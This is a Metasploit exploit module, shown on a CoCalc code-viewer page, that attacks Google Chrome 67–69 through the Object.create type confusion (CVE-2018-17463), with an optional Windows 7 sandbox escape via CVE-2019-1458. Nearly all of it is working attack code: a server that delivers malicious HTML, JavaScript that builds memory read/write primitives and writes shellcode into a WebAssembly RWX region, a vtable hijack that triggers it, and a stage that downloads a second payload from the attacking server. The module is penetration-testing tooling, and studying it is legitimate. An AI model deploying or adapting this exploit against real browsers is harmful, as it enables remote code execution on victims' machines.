CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/chrome_object_create.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::Remote::HttpServer::BrowserExploit
11
include Msf::Payload::Windows::AddrLoader_x64
12
include Msf::Payload::Windows::ReflectiveDllInject_x64
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit',
19
'Description' => %q{
20
This modules exploits a type confusion in Google Chromes JIT compiler.
21
The Object.create operation can be used to cause a type confusion between a
22
PropertyArray and a NameDictionary.
23
The payload is executed within the rwx region of the sandboxed renderer
24
process.
25
This module can target the renderer process (target 0), but Google
26
Chrome must be launched with the --no-sandbox flag for the payload to
27
execute successfully.
28
Alternatively, this module can use CVE-2019-1458 to escape the renderer
29
sandbox (target 1). This will only work on vulnerable versions of
30
Windows (e.g Windows 7) and the exploit can only be triggered once.
31
Additionally the exploit can cause the target machine to restart
32
when the session is terminated. A BSOD is also likely to occur when
33
the system is shut down or rebooted.
34
},
35
'License' => MSF_LICENSE,
36
'Author' => [
37
'saelo', # discovery and exploit
38
'timwr', # metasploit module
39
],
40
'References' => [
41
['CVE', '2018-17463'],
42
['URL', 'http://www.phrack.org/papers/jit_exploitation.html'],
43
['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'],
44
['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'],
45
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'],
46
],
47
'Arch' => [ ARCH_X64 ],
48
'Platform' => ['windows', 'osx', 'linux'],
49
'DefaultTarget' => 0,
50
'Notes' => {
51
'Reliability' => [ REPEATABLE_SESSION ],
52
'SideEffects' => [ IOC_IN_LOGS ],
53
'Stability' => [CRASH_SAFE]
54
},
55
'Targets' => [
56
[
57
'No sandbox escape (--no-sandbox)', {}
58
],
59
[
60
'Windows 7 (x64) sandbox escape via CVE-2019-1458',
61
{
62
'Platform' => 'win',
63
'Arch' => [ARCH_X64],
64
'DefaultOptions' => { 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }
65
}
66
],
67
],
68
'DisclosureDate' => '2018-09-25'
69
)
70
)
71
deregister_options('DLL')
72
end
73
74
def library_path
75
File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-1458', 'exploit.dll')
76
end
77
78
def on_request_uri(cli, request)
79
print_status("Sending #{request.uri} to #{request['User-Agent']}")
80
download_payload = ''
81
shellcode = payload.encoded
82
uripath = datastore['URIPATH'] || get_resource
83
uripath += '/' unless uripath.end_with? '/'
84
85
if target.name.end_with?('CVE-2019-1458')
86
if request.uri.to_s.end_with?('/payload')
87
loader_data = stage_payload
88
pidx = loader_data.index('PAYLOAD:')
89
if pidx
90
loader_data[pidx, payload.encoded.length] = payload.encoded
91
end
92
loader_data += "\0" * (0x20000 - loader_data.length)
93
send_response(cli, loader_data, {
94
'Content-Type' => 'application/octet-stream',
95
'Cache-Control' => 'no-cache, no-store, must-revalidate',
96
'Pragma' => 'no-cache', 'Expires' => '0'
97
})
98
print_good("Sent stage2 exploit (#{loader_data.length.to_s(16)} bytes)")
99
end
100
loader = generate_loader
101
shellcode = loader[0]
102
shellcode_addr_offset = loader[1]
103
shellcode_size_offset = loader[2]
104
download_payload = <<-JS
105
var req = new XMLHttpRequest();
106
req.open('GET', '#{uripath}payload', false);
107
req.overrideMimeType('text/plain; charset=x-user-defined');
108
req.send(null);
109
if (req.status != 200) {
110
return;
111
}
112
let payload_size = req.responseText.length;
113
let payload_array = new ArrayBuffer(payload_size);
114
let payload8 = new Uint8Array(payload_array);
115
for (let i = 0; i < req.responseText.length; i++) {
116
payload8[i] = req.responseText.charCodeAt(i) & 0xff;
117
}
118
let payload_array_mem_addr = memory.addrof(payload_array) + 0x20n;
119
let payload_array_addr = memory.readPtr(payload_array_mem_addr);
120
print('payload addr: 0x' + payload_array_addr.toString(16));
121
uint64View[0] = payload_array_addr;
122
for (let i = 0; i < 8; i++) {
123
shellcode[#{shellcode_addr_offset} + i] = uint8View[i];
124
}
125
for (let i = 0; i < 4; i++) {
126
shellcode[#{shellcode_size_offset} + i] = (payload_size>>(8*i)) & 0xff;
127
}
128
for (let i = 4; i < 8; i++) {
129
shellcode[#{shellcode_size_offset} + i] = 0;
130
}
131
JS
132
end
133
134
jscript = <<~JS
135
let ab = new ArrayBuffer(8);
136
let floatView = new Float64Array(ab);
137
let uint64View = new BigUint64Array(ab);
138
let uint8View = new Uint8Array(ab);
139
140
let shellcode = new Uint8Array([#{Rex::Text.to_num(shellcode)}]);
141
142
Number.prototype.toBigInt = function toBigInt() {
143
floatView[0] = this;
144
return uint64View[0];
145
};
146
147
BigInt.prototype.toNumber = function toNumber() {
148
uint64View[0] = this;
149
return floatView[0];
150
};
151
152
function hex(n) {
153
return '0x' + n.toString(16);
154
};
155
156
function fail(s) {
157
print('FAIL ' + s);
158
throw null;
159
}
160
161
const NUM_PROPERTIES = 32;
162
const MAX_ITERATIONS = 100000;
163
164
function gc() {
165
for (let i = 0; i < 200; i++) {
166
new ArrayBuffer(0x100000);
167
}
168
}
169
170
function make(properties) {
171
let o = {inline: 42} // TODO
172
for (let i = 0; i < NUM_PROPERTIES; i++) {
173
eval(`o.p${i} = properties[${i}];`);
174
}
175
return o;
176
}
177
178
function pwn() {
179
function find_overlapping_properties() {
180
let propertyNames = [];
181
for (let i = 0; i < NUM_PROPERTIES; i++) {
182
propertyNames[i] = `p${i}`;
183
}
184
eval(`
185
function vuln(o) {
186
let a = o.inline;
187
this.Object.create(o);
188
${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')}
189
return [${propertyNames.join(', ')}];
190
}
191
`);
192
193
let propertyValues = [];
194
for (let i = 1; i < NUM_PROPERTIES; i++) {
195
propertyValues[i] = -i;
196
}
197
198
for (let i = 0; i < MAX_ITERATIONS; i++) {
199
let r = vuln(make(propertyValues));
200
if (r[1] !== -1) {
201
for (let i = 1; i < r.length; i++) {
202
if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {
203
return [i, -r[i]];
204
}
205
}
206
}
207
}
208
209
fail("Failed to find overlapping properties");
210
}
211
212
function addrof(obj) {
213
eval(`
214
function vuln(o) {
215
let a = o.inline;
216
this.Object.create(o);
217
return o.p${p1}.x1;
218
}
219
`);
220
221
let propertyValues = [];
222
propertyValues[p1] = {x1: 13.37, x2: 13.38};
223
propertyValues[p2] = {y1: obj};
224
225
let i = 0;
226
for (; i < MAX_ITERATIONS; i++) {
227
let res = vuln(make(propertyValues));
228
if (res !== 13.37)
229
return res.toBigInt()
230
}
231
232
fail("Addrof failed");
233
}
234
235
function corrupt_arraybuffer(victim, newValue) {
236
eval(`
237
function vuln(o) {
238
let a = o.inline;
239
this.Object.create(o);
240
let orig = o.p${p1}.x2;
241
o.p${p1}.x2 = ${newValue.toNumber()};
242
return orig;
243
}
244
`);
245
246
let propertyValues = [];
247
let o = {x1: 13.37, x2: 13.38};
248
propertyValues[p1] = o;
249
propertyValues[p2] = victim;
250
251
for (let i = 0; i < MAX_ITERATIONS; i++) {
252
o.x2 = 13.38;
253
let r = vuln(make(propertyValues));
254
if (r !== 13.38)
255
return r.toBigInt();
256
}
257
258
fail("Corrupt ArrayBuffer failed");
259
}
260
261
let [p1, p2] = find_overlapping_properties();
262
print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`);
263
264
let memview_buf = new ArrayBuffer(1024);
265
let driver_buf = new ArrayBuffer(1024);
266
267
gc();
268
269
let memview_buf_addr = addrof(memview_buf);
270
memview_buf_addr--;
271
print(`ArrayBuffer @ ${hex(memview_buf_addr)}`);
272
273
let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr);
274
275
let driver = new BigUint64Array(driver_buf);
276
let original_memview_buf_ptr = driver[4];
277
278
let memory = {
279
write(addr, bytes) {
280
driver[4] = addr;
281
let memview = new Uint8Array(memview_buf);
282
memview.set(bytes);
283
},
284
read(addr, len) {
285
driver[4] = addr;
286
let memview = new Uint8Array(memview_buf);
287
return memview.subarray(0, len);
288
},
289
readPtr(addr) {
290
driver[4] = addr;
291
let memview = new BigUint64Array(memview_buf);
292
return memview[0];
293
},
294
writePtr(addr, ptr) {
295
driver[4] = addr;
296
let memview = new BigUint64Array(memview_buf);
297
memview[0] = ptr;
298
},
299
addrof(obj) {
300
memview_buf.leakMe = obj;
301
let props = this.readPtr(memview_buf_addr + 8n);
302
return this.readPtr(props + 15n) - 1n;
303
},
304
};
305
306
// Generate a RWX region for the payload
307
function get_wasm_instance() {
308
var buffer = new Uint8Array([
309
0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0,
310
1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,
311
128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,104,
312
101,108,108,111,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11
313
]);
314
return new WebAssembly.Instance(new WebAssembly.Module(buffer),{});
315
}
316
#{download_payload}
317
let wasm_instance = get_wasm_instance();
318
let wasm_addr = memory.addrof(wasm_instance);
319
print("wasm_addr @ " + hex(wasm_addr));
320
let wasm_rwx_addr = memory.readPtr(wasm_addr + 0xe0n);
321
print("wasm_rwx @ " + hex(wasm_rwx_addr));
322
323
memory.write(wasm_rwx_addr, shellcode);
324
325
let fake_vtab = new ArrayBuffer(0x80);
326
let fake_vtab_u64 = new BigUint64Array(fake_vtab);
327
let fake_vtab_addr = memory.readPtr(memory.addrof(fake_vtab) + 0x20n);
328
329
let div = document.createElement('div');
330
let div_addr = memory.addrof(div);
331
print('div_addr @ ' + hex(div_addr));
332
let el_addr = memory.readPtr(div_addr + 0x20n);
333
print('el_addr @ ' + hex(el_addr));
334
335
fake_vtab_u64.fill(wasm_rwx_addr, 6, 10);
336
memory.writePtr(el_addr, fake_vtab_addr);
337
338
print('Triggering...');
339
340
// Trigger virtual call
341
div.dispatchEvent(new Event('click'));
342
343
// We are done here, repair the corrupted array buffers
344
let addr = memory.addrof(driver_buf);
345
memory.writePtr(addr + 32n, original_driver_buf_ptr);
346
memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr);
347
}
348
349
pwn();
350
JS
351
352
jscript = add_debug_print_js(jscript)
353
html = %(
354
<html>
355
<head>
356
<script>
357
#{jscript}
358
</script>
359
</head>
360
<body>
361
</body>
362
</html>
363
)
364
send_response(cli, html, {
365
'Content-Type' => 'text/html',
366
'Cache-Control' => 'no-cache, no-store, must-revalidate',
367
'Pragma' => 'no-cache', 'Expires' => '0'
368
})
369
end
370
371
end
372
373